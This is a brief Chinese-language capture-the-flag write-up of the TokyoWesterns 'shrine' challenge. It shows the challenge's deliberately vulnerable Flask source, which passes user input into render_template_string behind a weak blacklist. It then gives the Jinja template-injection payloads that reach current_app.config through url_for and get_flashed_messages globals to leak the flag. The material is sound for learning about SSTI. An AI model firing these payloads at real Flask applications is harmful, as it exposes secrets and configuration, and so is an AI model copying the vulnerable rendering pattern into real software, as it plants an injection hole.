题目描述
来源:TokyoWesterns CTF
Solution
打开网页,发现是 Python 代码,有flask字样:

按下右键,选择 View Page Source,阅读源代码:
import flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
有源代码可知,路由shrine使用 jinjia 模板引擎生成页面,该路由有一个sage_jinja()函数:
- 它把
(和)都替换成""空字符串; - 返回一个字符串,它用了格式化字符串的方法,把黑名单里的字符给替换成
None;
我们可以测试一下模板注入情况:
http://111.200.241.244:52838/shrine/{{1+1}}

我们现在要绕过黑名单,要通过全局变量绕过:
http://111.200.241.244:52838/shrine/{{url_for.__globals__['current_app'].config.FLAG}}
http://111.200.241.244:52838/shrine/{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

